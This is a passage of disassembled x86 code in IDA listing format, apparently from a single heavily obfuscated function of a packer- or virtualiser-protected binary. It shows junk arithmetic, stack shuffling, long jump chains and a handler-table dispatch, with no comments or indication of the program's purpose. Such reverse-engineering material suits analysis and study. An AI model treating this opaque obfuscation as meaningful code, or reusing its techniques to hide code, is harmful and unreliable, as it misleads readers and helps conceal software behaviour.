sub_57DD3A+C5EDj push ecx push esp jmp loc_58C918 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+82h+var_84+2] jmp loc_58CB55 ; --------------------------------------------------------------------------- loc_58B649: ; CODE XREF: sub_57DD3A+9C91j pop edi pop [esp+7Ch+var_7C] mov esp, [esp+78h+var_78] jmp loc_5854F7 ; --------------------------------------------------------------------------- loc_58B655: ; CODE XREF: sub_57DD3A+E957j mov ebp, 2ACA7706h add ecx, ebp pop ebp not ecx jmp loc_5857BD ; --------------------------------------------------------------------------- loc_58B664: ; CODE XREF: sub_57DD3A+AE9Cj add esi, 4 push 0DAh mov [esp+0B6h+var_B8+2], eax mov eax, 2 sub esi, 3232784Bh add esi, eax jmp loc_5848D9 ; --------------------------------------------------------------------------- loc_58B684: ; CODE XREF: sub_57DD3A+D5A0j push [esp+82h+var_80+2] jmp loc_587B8A ; --------------------------------------------------------------------------- loc_58B68D: ; CODE XREF: sub_57DD3A+541Fj sub esi, ecx sub esi, 68686B4Dh mov ecx, [esp+9Ah+var_9C+2] push ebp mov ebp, esp push ecx jmp loc_5866A2 ; --------------------------------------------------------------------------- loc_58B6A1: ; CODE XREF: sub_57DD3A+B628j add esp, 4 jmp loc_589A2C ; --------------------------------------------------------------------------- loc_58B6AC: ; CODE XREF: sub_57DD3A+7237j add esp, 4 push edx push bx mov bl, 35h jmp loc_58437E ; --------------------------------------------------------------------------- loc_58B6BC: ; CODE XREF: sub_57DD3A+E06Aj add al, 25h sub al, 0A8h jmp loc_58634A ; --------------------------------------------------------------------------- loc_58B6C5: ; CODE XREF: sub_57DD3A+F1DBj not edi push esi mov esi, 52F7631Ch jmp loc_58B61A ; --------------------------------------------------------------------------- loc_58B6D2: ; CODE XREF: sub_57DD3A+95A4j sub al, cl add al, 66h mov ecx, [esp+78h+var_78] jmp loc_587645 ; --------------------------------------------------------------------------- loc_58B6DE: ; CODE XREF: sub_57DD3A+70C1j push ecx pop esi pop ecx jmp loc_5869F6 ; --------------------------------------------------------------------------- loc_58B6E6: ; CODE XREF: sub_57DD3A+BF1Bj pop [esp+6Ah+var_6C+2] add [esp+66h+var_68+2], 4 pop edi add edi, 4 add edi, 4 xchg edi, [esp+62h+var_64+2] mov esp, [esp+62h+var_64+2] sub esp, 4 jmp loc_584E64 ; --------------------------------------------------------------------------- loc_58B70B: ; CODE XREF: sub_57DD3A+402Dj sub esp, 4 mov [esp+0A8h+var_A8], ebx mov ebx, 4 mov eax, ebx pop ebx jmp loc_58A8EA ; --------------------------------------------------------------------------- loc_58B71E: ; CODE XREF: sub_57DD3A+9406j sub esi, 4 push esi push [esp+0C4h+var_C0] pop esi jmp loc_588EB3 ; --------------------------------------------------------------------------- loc_58B72C: ; CODE XREF: sub_57DD3A+7F5Ej mov ecx, 0FEB605Eh add ecx, 5F52149Eh neg ecx jmp loc_587ABD ; --------------------------------------------------------------------------- loc_58B73E: ; CODE XREF: sub_57DD3A+5E4Bj mov ebp, 4 add ecx, ebp pop ebp xchg ecx, [esp+0BAh+var_BC+2] mov esp, [esp+0BAh+var_BC+2] add esp, 4 jmp loc_581AA8 ; --------------------------------------------------------------------------- push [esp+0B6h+var_B8+2] mov eax, [esp+0BAh+var_BC+2] add esp, 4 jmp loc_58287E ; --------------------------------------------------------------------------- loc_58B765: ; CODE XREF: sub_57DD3A+A0B4j mov dx, word ptr [esp+62h+var_64+2] add esp, 2 jmp loc_586DDE ; --------------------------------------------------------------------------- loc_58B771: ; CODE XREF: sub_57DD3A+624Cj xor edi, 595E45E1h push [esp+0B8h+var_B8] pop edx jmp loc_58A894 ; --------------------------------------------------------------------------- loc_58B780: ; CODE XREF: sub_57DD3A+CA89j xor ch, 45h push dx mov dh, 0CFh jmp loc_58CE5C ; --------------------------------------------------------------------------- loc_58B78C: ; CODE XREF: sub_57DD3A+B43Ej pop esi and eax, ebx pop ebx jmp loc_58795C ; --------------------------------------------------------------------------- loc_58B795: ; CODE XREF: sub_57DD3A+973Fj push edx sub esp, 2 jmp loc_58355A ; --------------------------------------------------------------------------- loc_58B7A1: ; CODE XREF: sub_57DD3A+7B31j shl esi, 2 jmp loc_58C1B1 ; --------------------------------------------------------------------------- loc_58B7A9: ; CODE XREF: sub_57DD3A+AD6Dj add edi, 4 jmp loc_58DD39 ; --------------------------------------------------------------------------- loc_58B7B1: ; CODE XREF: sub_57DD3A+AAB6j push bx mov bl, 58h add al, bl pop bx push ecx mov cl, 2Bh shr cl, 3 shr cl, 3 push cx xchg bh, byte ptr [esp+94h+var_94] not bh jmp loc_58B93F ; --------------------------------------------------------------------------- mov ax, word ptr [esp+94h+var_94] push 59B1h jmp loc_58A28C ; --------------------------------------------------------------------------- neg byte ptr [esp+98h+var_98] pushf jmp loc_58D84C ; --------------------------------------------------------------------------- loc_58B7E5: ; CODE XREF: sub_57DD3A+6887j sub [esp+84h+var_7C], 4A922F27h jmp loc_5819A8 ; --------------------------------------------------------------------------- loc_58B7F2: ; CODE XREF: sub_57DD3A+A818j add ebp, ecx pop ecx push eax jmp loc_58CD72 ; --------------------------------------------------------------------------- loc_58B7FB: ; CODE XREF: sub_57DD3A+4BC8j mov bx, word ptr [esp+0A6h+var_A8+2] jmp loc_58D6EA ; --------------------------------------------------------------------------- loc_58B804: ; CODE XREF: sub_57DD3A+6FCDj xor edx, edx push 4EE9h mov [esp+70h+var_70], ebx push [esp+70h+var_70] mov eax, [esp+74h+var_74] add esp, 4 push esi push esp jmp loc_589DC0 ; --------------------------------------------------------------------------- loc_58B81E: ; CODE XREF: sub_57DD3A+46D8j push ebx jmp loc_5882DB ; --------------------------------------------------------------------------- loc_58B824: ; CODE XREF: sub_57DD3A+3C3Ej pop edi add ebp, 1D4605E1h add ebp, eax sub ebp, 1D4605E1h mov eax, [esp+5Ah+var_5C+2] add esp, 4 jmp loc_5889E1 ; --------------------------------------------------------------------------- loc_58B841: ; CODE XREF: sub_57DD3A+E42Dj mov [esp+56h+var_58+2], ebp mov ebp, 785C7A93h shl ebp, 4 neg ebp sub ebp, 0D6C69E57h sub eax, ebp pop ebp add ebp, eax pop eax push edi mov edi, 2 jmp loc_581EA1 ; --------------------------------------------------------------------------- loc_58B865: ; CODE XREF: sub_57DD3A+8854j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B86A: ; CODE XREF: sub_57DD3A+8CEEj mov ecx, eax pop eax xor ecx, 0AF22856Bh add edx, ecx push [esp+90h+var_90] pop ecx add esp, 4 add edx, 2 xchg edx, [esp+8Ch+var_8C] pop esp mov cx, word ptr [esp+88h+var_88] jmp loc_58C438 ; --------------------------------------------------------------------------- loc_58B892: ; CODE XREF: sub_57DD3A+E191j pop eax add eax, 40A95D03h add eax, edx jmp loc_584E1E ; --------------------------------------------------------------------------- loc_58B89F: ; CODE XREF: sub_57DD3A+9CA8j push esi push esp jmp loc_587F69 ; --------------------------------------------------------------------------- loc_58B8A6: ; CODE XREF: sub_57DD3A+A22Aj or [edi+1Ch], ebp push [esp+0CCh+var_CC] pop ebp add esp, 4 jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B8B5: ; CODE XREF: sub_57DD3A+D486j pop ebx jmp loc_58CDA4 ; --------------------------------------------------------------------------- loc_58B8BB: ; CODE XREF: sub_57DD3A+D8A3j not bh jmp loc_5897EC ; --------------------------------------------------------------------------- loc_58B8C2: ; CODE XREF: sub_57DD3A+413Dj sub esi, 53DE4236h add esi, 0FFFFFFFFh not esi add esi, 6B964C9h mov edx, esi pop esi and eax, edx jmp loc_58502D ; --------------------------------------------------------------------------- loc_58B8E0: ; CODE XREF: sub_57DD3A+4419j push ebp push esp mov ebp, [esp+6Ch+var_6C] add esp, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+6Ch+var_6C] pop esp mov [esp+68h+var_68], eax mov eax, 5B07015Eh xor eax, 1D1E5BEDh add eax, 5D585DC9h inc eax jmp loc_58C162 ; --------------------------------------------------------------------------- loc_58B913: ; CODE XREF: sub_57DD3A+91CFj add esp, 4 sub [esp+66h+var_64+2], ebx add [esp+66h+var_64+2], 15F822C6h pop ebx jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B928: ; CODE XREF: sub_57DD3A+F9A3j pop ecx add ebx, 53AA66AFh add ebx, edi push edi jmp loc_586198 ; --------------------------------------------------------------------------- loc_58B937: ; CODE XREF: sub_57DD3A+9471j xor ebx, [esp+0A2h+var_A4+2] jmp loc_5829E0 ; --------------------------------------------------------------------------- loc_58B93F: ; CODE XREF: sub_57DD3A+DA8Fj xchg bh, byte ptr [esp+94h+var_94] pop cx jmp loc_583839 ; --------------------------------------------------------------------------- loc_58B949: ; CODE XREF: sub_57DD3A+5FEDj add esp, 4 sub ch, dl pop edx jmp loc_589310 ; --------------------------------------------------------------------------- loc_58B954: ; CODE XREF: sub_57DD3A+C1F1j mov ch, ah pop eax push ebx mov ebx, 0 add ebx, eax mov [ebx], ch jmp loc_583903 ; --------------------------------------------------------------------------- loc_58B966: ; CODE XREF: sub_57DD3A+D5BDj add edx, 111176BFh add edx, eax push 1017h mov [esp+5Ah+var_5C+2], ecx push 359Dh mov [esp+5Eh+var_60+2], ebx jmp loc_588278 ; --------------------------------------------------------------------------- loc_58B983: ; CODE XREF: sub_57DD3A+E975j xchg esi, [esp+5Eh+var_60+2] pop esp jmp loc_583C56 ; --------------------------------------------------------------------------- loc_58B98C: ; CODE XREF: sub_57DD3A+F7E4j and ebp, eax pop eax and ebp, 0F2A0ABBh jmp loc_583983 ; --------------------------------------------------------------------------- loc_58B99A: ; CODE XREF: sub_57DD3A+5F89j pop ebp pop [esp+90h+var_90] jmp loc_589F77 ; --------------------------------------------------------------------------- loc_58B9A3: ; CODE XREF: sub_57DD3A+ED30j add ecx, 4 xchg ecx, [esp+8Ch+var_8C] pop esp jmp loc_5827D9 ; --------------------------------------------------------------------------- loc_58B9B2: ; CODE XREF: sub_57DD3A+E73Fj mov eax, ebx pop ebx push esi mov esi, 21DA2B66h sub eax, esi jmp loc_589AE2 ; --------------------------------------------------------------------------- loc_58B9C2: ; CODE XREF: sub_57DD3A+1025Fj xor edi, 3A5B12B1h neg edi xor edi, 111250E1h add edi, 5E7D181Dh add eax, edi pop edi jmp loc_58A3B8 ; --------------------------------------------------------------------------- loc_58B9DE: ; CODE XREF: sub_57DD3A+7A3Dj sub esp, 4 mov [esp+72h+var_74+2], ebp jmp loc_58ACDE ; --------------------------------------------------------------------------- loc_58B9EC: ; CODE XREF: sub_57DD3A+D81Cj jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B9F1: ; CODE XREF: sub_57DD3A+7D0Aj mov ebp, 1 sub ebx, ebp pop ebp sub ebx, 0D3E7EFBh push ebx add [esp+0AAh+var_AC+2], 291556DEh pop edx sub edx, 291556DEh pop ebx add edi, edx pop edx push edi jmp loc_58606D ; --------------------------------------------------------------------------- loc_58BA18: ; CODE XREF: sub_57DD3A+E5BDj pop eax jmp loc_58558E ; --------------------------------------------------------------------------- loc_58BA1E: ; CODE XREF: sub_57DD3A+102CFj mov edi, [esp+9Eh+var_A0+2] add esp, 4 push eax push 9FB0352h pop eax jmp loc_5822C1 ; --------------------------------------------------------------------------- loc_58BA33: ; CODE XREF: sub_57DD3A+FAADj push ecx mov cl, dl mov bl, cl pop ecx jmp loc_584FDB ; --------------------------------------------------------------------------- loc_58BA3E: ; CODE XREF: sub_57DD3A+640Fj mov edi, esp jmp loc_5830BC ; --------------------------------------------------------------------------- loc_58BA45: ; CODE XREF: sub_57DD3A+968Fj sub ebp, 4E585587h mov ecx, [esp+9Ch+var_9C] add esp, 4 xor ebp, [esp+98h+var_98] jmp loc_58A97F ; --------------------------------------------------------------------------- loc_58BA59: ; CODE XREF: sub_57DD3A+98E2j xor dh, 0F1h jmp loc_5895D0 ; --------------------------------------------------------------------------- loc_58BA61: ; CODE XREF: sub_57DD3A+8941j sub esp, 4 push esp jmp loc_582985 ; --------------------------------------------------------------------------- loc_58BA6D: ; CODE XREF: sub_57DD3A+90B1j push 5BD3h mov [esp+9Eh+var_A0+2], ebx jmp loc_585D32 ; --------------------------------------------------------------------------- loc_58BA7A: ; CODE XREF: sub_57DD3A+D8DBj push esi push esp pop esi sub esp, 4 mov [esp+8Ah+var_8C+2], edi mov edi, 4 add esi, edi pop edi add esi, 4 xchg esi, [esp+86h+var_88+2] mov esp, [esp+86h+var_88+2] jmp loc_58AE17 ; --------------------------------------------------------------------------- loc_58BA9F: ; CODE XREF: sub_57DD3A+87D7j sub esp, 4 jmp loc_585B7E ; --------------------------------------------------------------------------- loc_58BAA7: ; CODE XREF: sub_57DD3A+CE0Cj pop ebx jmp loc_58B3B4 ; --------------------------------------------------------------------------- loc_58BAAD: ; CODE XREF: sub_57DD3A+B868j push dword ptr [edi+eax*4] add [esp+58h+var_58], 169F318Fh mov eax, [esp+58h+var_58] push edx mov edx, esp jmp loc_581F47 ; --------------------------------------------------------------------------- loc_58BAC2: ; CODE XREF: sub_57DD3A+5BE1j pop ebx jmp loc_5833E8 ; --------------------------------------------------------------------------- loc_58BAC8: ; CODE XREF: sub_57DD3A+B445j pop ax add al, 0B5h sub al, ch sub al, 0B5h pop ecx xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- mov ax, word ptr [esp+60h+var_60] jmp loc_584EDB ; --------------------------------------------------------------------------- loc_58BAE4: ; CODE XREF: sub_57DD3A+5BC4j xchg ebx, ebp not ebx xchg ebx, ebp push ecx mov ecx, 0FF9C8335h sub ebp, ecx mov ecx, [esp+8Eh+var_90+2] jmp loc_587596 ; --------------------------------------------------------------------------- loc_58BAFA: ; CODE XREF: sub_57DD3A+61DAj sub [esp+0B4h+var_B0], 1CC2663Dh sub [esp+0B4h+var_B0], edx jmp loc_58DEDB ; --------------------------------------------------------------------------- loc_58BB0B: ; CODE XREF: sub_57DD3A+4CCCj pop ebx push 6C60h mov [esp+64h+var_64], ebp mov ebp, 4 add ebx, 671A6D7Ch jmp loc_5876FA ; --------------------------------------------------------------------------- loc_58BB24: ; CODE XREF: sub_57DD3A+5D82j mov ebx, esp push edi jmp loc_581C79 ; --------------------------------------------------------------------------- loc_58BB2C: ; CODE XREF: sub_57DD3A+81BAj push edx mov edx, 177E0F75h add ebx, edx jmp loc_585A0C ; --------------------------------------------------------------------------- loc_58BB39: ; CODE XREF: sub_57DD3A+5FFAj pop eax jmp loc_584349 ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push small 721Ah mov word ptr [esp+9Eh+var_A0+2], ax jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58BB50: ; CODE XREF: sub_57DD3A+8818j and ecx, 34651500h shl ecx, 2 sub ecx, 2C429E7Dh sub edx, 69BA095Bh sub edx, ecx add edx, 69BA095Bh pop ecx add edx, eax push esi jmp loc_5819D0 ; --------------------------------------------------------------------------- loc_58BB76: ; CODE XREF: sub_57DD3A+8A3Aj add ecx, 4 xor ecx, [esp+82h+var_84+2] xor [esp+82h+var_84+2], ecx jmp loc_58500A ; --------------------------------------------------------------------------- loc_58BB84: ; CODE XREF: sub_57DD3A+71ACj pop ebp jmp loc_583E46 ; --------------------------------------------------------------------------- loc_58BB8A: ; CODE XREF: sub_57DD3A+E3A8j mov edx, 344A506Dh sub ebp, edx pop edx add ebp, edi jmp loc_588861 ; --------------------------------------------------------------------------- loc_58BB99: ; CODE XREF: sub_57DD3A+8E58j push ebp jmp loc_58D5C5 ; --------------------------------------------------------------------------- loc_58BB9F: ; CODE XREF: sub_57DD3A+CD13j add edx, 4 add edx, 4 push edx push [esp+80h+var_7C] pop edx pop [esp+80h+var_80] jmp loc_5844D3 ; --------------------------------------------------------------------------- loc_58BBB6: ; CODE XREF: sub_57DD3A+6664j pop edx push [esp+8Ch+var_8C] push [esp+90h+var_90] push [esp+94h+var_94] jmp loc_58A3F9 ; --------------------------------------------------------------------------- loc_58BBC5: ; CODE XREF: sub_57DD3A+FD36j push 2 pop eax add ebp, eax jmp loc_588523 ; --------------------------------------------------------------------------- loc_58BBD2: ; CODE XREF: sub_57DD3A+5771j add edx, 6C8904D7h jmp loc_589561 ; --------------------------------------------------------------------------- loc_58BBDD: ; CODE XREF: sub_57DD3A+FC61j push esi mov esi, 7F053A9Ch and esi, 1FC14249h sub esi, 1F010204h jmp loc_585837 ; --------------------------------------------------------------------------- loc_58BBF4: ; CODE XREF: sub_57DD3A+51E2j push 24h push [esp+88h+var_88] pop ecx jmp loc_589FCB ; --------------------------------------------------------------------------- loc_58BC02: ; CODE XREF: sub_57DD3A+F07Fj xor edx, 46AA61D2h add edx, 0B3431016h add ebx, edx pop edx push 3F4Bh mov [esp+88h+var_88], eax jmp loc_586F8F ; --------------------------------------------------------------------------- loc_58BC1E: ; CODE XREF: sub_57DD3A+C620j mov ebx, esi pop esi or edx, ebx pop ebx jmp loc_587666 ; --------------------------------------------------------------------------- loc_58BC29: ; CODE XREF: sub_57DD3A+B5D1j mov [esp+0C4h+var_C4], ecx push [esp+0C4h+var_C4] pop eax add esp, 4 mov ecx, [esp+0C0h+var_C0] jmp loc_588B35 ; --------------------------------------------------------------------------- loc_58BC3B: ; CODE XREF: sub_57DD3A+46F0j mov eax, [esp+92h+var_94+2] add esp, 4 add eax, 28167E4Ah shr eax, 5 push edx mov edx, 45124091h push ecx jmp loc_58C2DA ; --------------------------------------------------------------------------- loc_58BC58: ; CODE XREF: sub_57DD3A+CE2Aj mov ebp, eax pop eax jmp loc_5875A1 ; --------------------------------------------------------------------------- loc_58BC60: ; CODE XREF: sub_57DD3A+FE84j xchg ebp, [esp+0A6h+var_A8+2] pop esp pop [esp+0A2h+var_A4+2] pop esp jmp loc_58831C ; --------------------------------------------------------------------------- loc_58BC6D: ; CODE XREF: sub_57DD3A+E8F8j add ecx, 4 sub esp, 4 mov [esp+9Eh+var_A0+2], edx mov edx, 4 jmp loc_58ADAD ; --------------------------------------------------------------------------- loc_58BC83: ; CODE XREF: sub_57DD3A+8585j pop edx jmp loc_58A1D6 ; --------------------------------------------------------------------------- loc_58BC89: ; CODE XREF: sub_57DD3A+8AF5j mov dh, 0B3h add dh, 2Bh jmp loc_58D2E4 ; --------------------------------------------------------------------------- loc_58BC93: ; CODE XREF: sub_57DD3A+7D30j push [esp+94h+var_90] pop eax pop [esp+94h+var_94] pop esp mov [esp+8Ch+var_8C], ebx push [esp+8Ch+var_8C] push [esp+90h+var_90] pop eax add esp, 4 push edx mov edx, esp push eax mov eax, 4 jmp loc_586557 ; --------------------------------------------------------------------------- loc_58BCBA: ; CODE XREF: sub_57DD3A+83E7j mov [esp+54h+var_54], esp add [esp+54h+var_54], 4 pop ebx push esi push eax jmp loc_58DF88 ; --------------------------------------------------------------------------- loc_58BCC9: ; CODE XREF: sub_57DD3A+A714j pop eax push edi mov edi, 9756BB5h xor edi, 5C3000AEh shl edi, 7 dec edi jmp loc_58AD29 ; --------------------------------------------------------------------------- loc_58BCDF: ; CODE XREF: sub_57DD3A+D32Aj mov ebp, 733414ECh add eax, ebp pop ebp sub eax, ebx sub eax, 733414ECh push edi mov edi, 2A75064Bh xor edi, 570E2BFCh xor edi, 10B061ECh dec edi add edi, 69175D6Ah sub edi, 37551C07h jmp loc_589E8E ; --------------------------------------------------------------------------- loc_58BD12: ; CODE XREF: sub_57DD3A+9C5Aj mov [esp+60h+var_60], edx jmp loc_58B009 ; --------------------------------------------------------------------------- loc_58BD1A: ; CODE XREF: sub_57DD3A+BAE5j pop ebp add edx, 60D134F2h add edx, 52E836A6h add edx, esi sub edx, 52E836A6h push esi jmp loc_58CFDE ; --------------------------------------------------------------------------- loc_58BD35: ; CODE XREF: sub_57DD3A+B4A4j mov edi, [esp+0A0h+var_A0] add esp, 4 push ecx mov ecx, esp add ecx, 4 push edi jmp loc_58B3EA ; --------------------------------------------------------------------------- loc_58BD4A: ; CODE XREF: sub_57DD3A+3D51j xchg edi, [esp+62h+var_64+2] pop esp push 66E2h mov [esp+62h+var_64+2], edi mov edi, 2B553A4Ah jmp loc_585A8D ; --------------------------------------------------------------------------- loc_58BD60: ; CODE XREF: sub_57DD3A+AD1Dj add eax, 694B3D06h pop edi sub esp, 4 mov [esp+5Ah+var_5C+2], esi push ecx jmp loc_586AA2 ; --------------------------------------------------------------------------- loc_58BD72: ; CODE XREF: sub_57DD3A+7539j pop ebp push ebx sub [esp+7Ah+var_7C+2], 15207550h pop ebp push edi mov edi, 1C0137D6h neg edi jmp loc_584777 ; --------------------------------------------------------------------------- loc_58BD89: ; CODE XREF: sub_57DD3A+64FFj pop edx add edx, 4 sub edx, 4 xchg edx, [esp+8Eh+var_90+2] pop esp mov [esp+8Ah+var_8C+2], eax push ebp jmp loc_585E2E ; --------------------------------------------------------------------------- lodsb jmp loc_58B6BC ; --------------------------------------------------------------------------- loc_58BDA9: ; CODE XREF: sub_57DD3A+D435j mov cl, 0F5h neg cl not cl jmp loc_58BF50 ; --------------------------------------------------------------------------- loc_58BDB4: ; CODE XREF: sub_57DD3A+F065j add eax, 4 xchg eax, [esp+5Eh+var_60+2] mov esp, [esp+5Eh+var_60+2] push edi mov edi, 63C250F7h xor esi, edi pop edi add eax, esi push [esp+5Eh+var_60+2] pop esi push esi mov esi, esp jmp loc_58BFAF ; --------------------------------------------------------------------------- loc_58BDD6: ; CODE XREF: sub_57DD3A+409Aj mov ax, word ptr [esp+7Eh+var_80+2] push esi mov esi, esp jmp loc_58AF4D ; --------------------------------------------------------------------------- loc_58BDE2: ; CODE XREF: sub_57DD3A+F85Ej add ecx, ebp jmp loc_583264 ; --------------------------------------------------------------------------- loc_58BDE9: ; CODE XREF: sub_57DD3A+CEE2j add edx, edi pop edi jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58BDF1: ; CODE XREF: sub_57DD3A+FBAAj sub esp, 4 mov [esp+64h+var_64], edi jmp loc_586D7B ; --------------------------------------------------------------------------- loc_58BDFF: ; CODE XREF: sub_57DD3A+B328j add edx, 0D9631DADh sub ecx, 2F891123h sub ecx, edx add ecx, 2F891123h pop edx add ecx, 0AA68D07Ah add ebp, ecx mov ecx, [esp+0F0h+var_F0] add esp, 4 jmp loc_58A806 ; --------------------------------------------------------------------------- loc_58BE2A: ; CODE XREF: sub_57DD3A+C93Bj add esi, ecx jmp loc_58DD90 ; --------------------------------------------------------------------------- loc_58BE31: ; CODE XREF: sub_57DD3A+45C2j sub esp, 4 mov [esp+72h+var_74+2], ebx pop dword ptr [edi+24h] jmp loc_588297 ; --------------------------------------------------------------------------- loc_58BE3F: ; CODE XREF: sub_57DD3A+C292j mov ebp, esp push ebx jmp loc_585C5C ; --------------------------------------------------------------------------- loc_58BE47: ; CODE XREF: sub_57DD3A+E989j sub [esp+0E0h+var_E0], 54B2600Fh pop esi add esi, 54B2600Fh pop ebx jmp loc_586031 ; --------------------------------------------------------------------------- loc_58BE5B: ; CODE XREF: sub_57DD3A+9B56j push edx push ebx jmp loc_585A3E ; --------------------------------------------------------------------------- loc_58BE62: ; CODE XREF: sub_57DD3A+5640j sub esp, 4 mov [esp+0D4h+var_D4], ecx mov ecx, esp jmp loc_582810 ; --------------------------------------------------------------------------- loc_58BE72: ; CODE XREF: sub_57DD3A+910Dj push [esp+5Eh+var_60+2] push [esp+62h+var_64+2] pop ecx jmp loc_58C12E ; --------------------------------------------------------------------------- loc_58BE7E: ; CODE XREF: sub_57DD3A+E405j pop edx xor edx, 5B0D5BA4h mov eax, edx pop edx add [esp+5Ah+var_58+2], eax jmp loc_585770 ; --------------------------------------------------------------------------- loc_58BE91: ; CODE XREF: sub_57DD3A+3C22j pop edx add edx, 4 push eax push ecx mov ecx, 2 mov eax, ecx mov ecx, [esp+56h+var_58+2] add esp, 4 add edx, eax jmp loc_588FC8 ; --------------------------------------------------------------------------- loc_58BEB1: ; CODE XREF: sub_57DD3A+B0E8j push ecx mov ecx, 29911655h add ecx, 17F3405Fh sub ecx, 6E045FA3h add ebp, ecx pop ecx sub eax, ebp pop ebp mov edx, eax jmp loc_58B892 ; --------------------------------------------------------------------------- loc_58BED0: ; CODE XREF: sub_57DD3A+C2F4j add edx, 4 xchg edx, [esp+96h+var_98+2] pop esp add ebp, 4 jmp loc_584E9F ; --------------------------------------------------------------------------- mov ax, word ptr [esp+92h+var_94+2] push ecx mov ecx, esp add ecx, 4 push eax mov eax, 4 sub ecx, eax pop eax push ecx jmp loc_58A095 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+9Ah+var_9C+2] push eax push esp jmp loc_58D6C8 ; --------------------------------------------------------------------------- loc_58BF0C: ; CODE XREF: sub_57DD3A+F285j pop [esp+0A2h+var_A4+2] mov esp, [esp+9Eh+var_A0+2] push 4B9Bh jmp loc_584CC3 ; --------------------------------------------------------------------------- loc_58BF1C: ; CODE XREF: sub_57DD3A+C44Ej xor [esp+76h+var_78+2], 26DB6D8Ah push [esp+76h+var_78+2] jmp loc_58C0E7 ; --------------------------------------------------------------------------- loc_58BF2B: ; CODE XREF: sub_57DD3A+5723j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58BF30: ; CODE XREF: sub_57DD3A+9EABj mov ah, dh jmp loc_58B117 ; --------------------------------------------------------------------------- loc_58BF37: ; CODE XREF: sub_57DD3A+B635j pop edx mov ecx, esi jmp loc_58A858 ; --------------------------------------------------------------------------- loc_58BF3F: ; CODE XREF: sub_57DD3A+8B2Dj add esi, 4 xchg esi, [esp+86h+var_88+2] mov esp, [esp+86h+var_88+2] jmp loc_589483 ; --------------------------------------------------------------------------- loc_58BF50: ; CODE XREF: sub_57DD3A+E075j add cl, 35h add dl, cl pop ecx push cx jmp loc_587EFA ; --------------------------------------------------------------------------- loc_58BF5D: ; CODE XREF: sub_57DD3A+745Dj push 438958E7h pop eax jmp loc_581B77 ; --------------------------------------------------------------------------- loc_58BF68: ; CODE XREF: sub_57DD3A+C6C9j push ecx mov ecx, 22AE4B43h push edx mov edx, 1B3F7215h jmp loc_582630 ; --------------------------------------------------------------------------- loc_58BF79: ; CODE XREF: sub_57DD3A+10175j sub edx, 76E34BBDh push esi mov esi, 4DC3996Ch xor edx, esi pop esi push 4E82h mov [esp+56h+var_58+2], edx pop ebp pop edx xor ebp, 2A0A4A37h shl ebp, 1 push eax mov eax, 4B5E49A2h add ebp, eax pop eax add [esp+4Eh+var_4C+2], ebp mov ebp, [esp+4Eh+var_50+2] jmp loc_587EAB ; --------------------------------------------------------------------------- loc_58BFAF: ; CODE XREF: sub_57DD3A+E097j push ebx mov ebx, 4 add esi, ebx jmp loc_582FAE ; --------------------------------------------------------------------------- loc_58BFBC: ; CODE XREF: sub_57DD3A+40BDj pop eax push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_58ADA4 ; --------------------------------------------------------------------------- loc_58BFCD: ; CODE XREF: sub_57DD3A+6031j xchg esi, [esp+6Ah+var_6C+2] jmp loc_58711E ; --------------------------------------------------------------------------- loc_58BFD5: ; CODE XREF: sub_57DD3A+76F2j sub edx, 75F302C7h mov edi, edx pop edx jmp loc_5830EF ; --------------------------------------------------------------------------- loc_58BFE3: ; CODE XREF: sub_57DD3A+6EF8j pop edi sub esp, 4 mov [esp+62h+var_64+2], ebx push 670B351Dh jmp loc_5864C3 ; --------------------------------------------------------------------------- loc_58BFF7: ; CODE XREF: sub_57DD3A+A482j add [esp+6Eh+var_70+2], 4 jmp loc_588699 ; --------------------------------------------------------------------------- loc_58C000: ; CODE XREF: sub_57DD3A+61B6j add edi, 7B118D5h jmp loc_581BA7 ; --------------------------------------------------------------------------- loc_58C00B: ; CODE XREF: sub_57DD3A+999Fj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+8Ah+var_8C+2] jmp loc_583522 ; --------------------------------------------------------------------------- loc_58C022: ; CODE XREF: sub_57DD3A+F2D9j pop ebp add ebp, 4 jmp loc_58360C ; --------------------------------------------------------------------------- loc_58C02E: ; CODE XREF: sub_57DD3A+53A6j mov [esp+0AAh+var_AC+2], edi mov edi, 0FF6F5F1Bh sub eax, edi pop edi add ebp, 5E5D1395h add ebp, eax jmp loc_582EF6 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+0A6h+var_A8+2] jmp loc_58A78E ; --------------------------------------------------------------------------- loc_58C04F: ; CODE XREF: sub_57DD3A+BB67j pop edi mov ebx, edi mov edi, [esp+8Ah+var_8C+2] add esp, 4 add edi, ebx pop ebx jmp loc_5879D0 ; --------------------------------------------------------------------------- loc_58C060: ; CODE XREF: sub_57DD3A+7979j not esi sub esi, 1 jmp loc_589A94 ; --------------------------------------------------------------------------- loc_58C06D: ; CODE XREF: sub_57DD3A+D14Fj add edi, ecx add edi, 3DD14EEBh add edi, 72C12901h pop ecx add edi, edx jmp loc_58268F ; --------------------------------------------------------------------------- loc_58C083: ; CODE XREF: sub_57DD3A+D756j mov esi, ecx pop ecx pop edi and eax, esi mov esi, [esp+86h+var_88+2] push ebx push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_58833C ; --------------------------------------------------------------------------- push [esp+8Ah+var_8C+2] pop eax push ecx push esp pop ecx add ecx, 4 jmp loc_58903C ; --------------------------------------------------------------------------- loc_58C0B2: ; CODE XREF: sub_57DD3A+CA25j xchg esi, [esp+82h+var_84+2] jmp loc_58874E ; --------------------------------------------------------------------------- loc_58C0BA: ; CODE XREF: sub_57DD3A+98ECj sub ecx, ebp mov ebp, [esp+7Ch+var_7C] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp+80h+var_80] xor [esp+80h+var_80], ebx xor ebx, [esp+80h+var_80] jmp loc_5858D9 ; --------------------------------------------------------------------------- loc_58C0D9: ; CODE XREF: sub_57DD3A+91F3j pop edi push edi push 2 pop edi push edx 